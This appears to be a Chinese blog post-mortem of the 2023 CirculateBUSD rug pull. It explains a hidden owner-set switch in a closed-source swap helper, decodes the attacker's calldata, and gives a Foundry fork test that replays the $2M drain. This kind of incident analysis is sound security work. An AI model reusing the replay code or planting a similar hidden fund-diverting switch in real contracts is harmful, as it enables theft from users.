RugPull@CirculateBUSD
事件背景
- 关键词:未开源swapHelper,隐藏开关
- 时间:2023.01.12
- 损失:$2.27 Million
交易
资金流向
地址 |
Token |
金额 |
Circulate Money Rug Pull[ Sender攻击者 ] |
BUSD |
+2,000,000 |
CirculateBUSD[ Receiver土狗合约 ] |
BUSD |
-2,000,000 |
RP合约简析
只有一个CirculateBUSD合约,其他都是interface、library和标准库。方法包括:质押,存款,取款,清算,swap,开盘信息,自动交易。那么用户来玩这个合约的主要目的就是质押生息,或者借款,或者swap
攻击过程
攻击详细分析
正常情况下,用户调用startTrading()
是一个交易方法,用于swap。攻击过程1~4步每次调用都会执行。
1 2 3 4 5 6 7 8 9
| function startTrading(address _trader, uint256 _borrowAmount, address _swappedToken) public { // 静态调用一系列信息,1~4步骤 ..... // 授权给未开源的ISwapHelper(SwapHelper) IERC20(BUSDContract).safeApprove(SwapHelper, _borrowAmount); // 开源的ISwapHelper(SwapHelper)进行swap uint256 swapOutAmount = ISwapHelper(SwapHelper).swaptoToken( BUSDContract,_swappedToken, _borrowAmount); .... }
|
由于ISwapHelper(SwapHelper)没有开源,但是具体的攻击步骤是写在这里面的,因此我们将它反编译。这个transferFrom()
是正常的,并没有恶意。
然后实际的转账是trasnfer()
,然后我们就找到了这里:从图中可以知道,攻击者输入的_borrowAmount一定是等于slot _7
的值才会进入攻击流
只有owner可以修改slot_6,7,8:owner调整slot值来让自己获利,进一步验证了项目方随时可以跑路
我们来看一下,最终的这几个slot:
1 2 3 4 5 6 7 8 9 10 11
| # pancakerouter [SlotIndex] 5 [Value] [Hex][0x00000000000000000000000010ed43c718714eb63d5aa57b78b54704e256024e] <=> [Dec][96635033217071433185869069577301221175488545358]
# 受益者(黑客)地址 [SlotIndex] 6 [Value] [Hex][0x0000000000000000000000005695ef5f2e997b2e142b38837132a6c3ddc463b7] <=> [Dec][494316869550535217732822402122055319650864227255]
# 开关值(并不是攻击的时候的开关值,黑客攻击之后又调用修改了一次) [SlotIndex] 7 [Value] [Hex][0x000000000000000000000000000000000000000000000036ea32f4e55eb40000] <=> [Dec][1013000000000000000000]
|
那么,黑客肯定调用过这个方法,我们来找一下,可以发现,总共调用了三次,并且调用完之后就没其他交易了,说明攻击完成了,大家都知道项目方捐款跑路了,然后就没交易了。
我们按顺序分析这三个交易的calldata:可以看到,攻击者调用三次,只是为了修改slot_7,而slot_6(pancakerouter)和slot_8并没有修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| # 第一次 0x4b2d25ef 0000000000000000000000005695ef5f2e997b2e142b38837132a6c3ddc463b7 000000000000000000000000000000000000000000002a5a058fc295ed000000 0000000000000000000000000000000000000000000000000000000000002710
# 第二次 0x4b2d25ef 0000000000000000000000005695ef5f2e997b2e142b38837132a6c3ddc463b7 00000000000000000000000000000000000000000001a784379d99db42000000 // (*) 0000000000000000000000000000000000000000000000000000000000002710
# 第三次 0x4b2d25ef 0000000000000000000000005695ef5f2e997b2e142b38837132a6c3ddc463b7 000000000000000000000000000000000000000000000036ea32f4e55eb40000 // 发现和目前的slot_7的值一致 0000000000000000000000000000000000000000000000000000000000002710
|
对比攻击时候的calldata可以发现,它的startTrading()
的参数_swappedToken
和slot_7的值一样,也就是匹配到了攻击开关值,进入攻击的条件流。
1 2
| 0x63437561 000000000000000000000000e9e7cea3dedca5984780bafc599bd69add087d56 000000000000000000000000bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c 00000000000000000000000000000000000000000001a784379d99db42000000 // 发现和(*)的一样,此次交易会进入到transfers
|
说明发起攻击之前,黑客调用了0x4b2d25ef()
作为攻击之前准备
其他:个人感觉这个设置受益者开关和受益者地址的方法多余,直接硬编码都没关系或者在构造器期间赋值就好。攻击者相信用户输入的值不回匹配到开关值,就算匹配到了,获利的也是黑客,属于是帮黑客攻击了。
复现
github
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| pragma solidity ^0.8.10;
import "forge-std/Test.sol"; import "./interface.sol";
contract Attacker is Test {
// 土狗合约 ICirculateBUSD public CirculateBUSD = ICirculateBUSD(address(0x9639D76092B2ae074A7E2D13Ac030b4b6A0313ff)); // 攻击者 // BUSDC IBUSDC busdc = IBUSDC(address(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56)); address public attacker = 0x5695Ef5f2E997B2e142B38837132a6c3Ddc463b7; // 为开源的swap合约,开关隐藏在这 address public swapToToken = 0x112F8834cD3dB8D2DdEd90BE6bA924a88F56Eb4b;
function setUp() public { vm.createSelectFork("bsc", 24_715_926);
vm.label(address(CirculateBUSD), "CirculateBUSD"); vm.label(address(attacker), "attacker"); vm.label(address(swapToToken), "swapToToken"); }
function test_Exploit() public { vm.startBroadcast(address(attacker));
uint256 beforeAttack = busdc.balanceOf(address(attacker)); console.log("before attacker balance:", beforeAttack); // 攻击之前得设置一下slot_7 bytes memory data = abi.encodePacked( bytes4(0x4b2d25ef), bytes32(0x0000000000000000000000005695ef5f2e997b2e142b38837132a6c3ddc463b7), bytes32(0x00000000000000000000000000000000000000000001a784379d99db42000000), bytes32(0x0000000000000000000000000000000000000000000000000000000000002710) ); uint size = data.length; address x = address(swapToToken); assembly{ switch call(gas(), x, 0, add(data,0x20), size, 0, 0) case 0 { returndatacopy(0x00,0x00,returndatasize()) revert(0, returndatasize()) } }
// 发起攻击 CirculateBUSD.startTrading(0x5695Ef5f2E997B2e142B38837132a6c3Ddc463b7, 0x1a784379d99db42000000, 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
uint256 afterAttack = busdc.balanceOf(address(attacker)); console.log("after attacker balance:", afterAttack);
assertEq(afterAttack, beforeAttack + 2000000000000000000000000);
vm.stopBroadcast(); }
}
|
建议
在关键的方法中涉及外部合约调用,如果合约没有开源则必须谨慎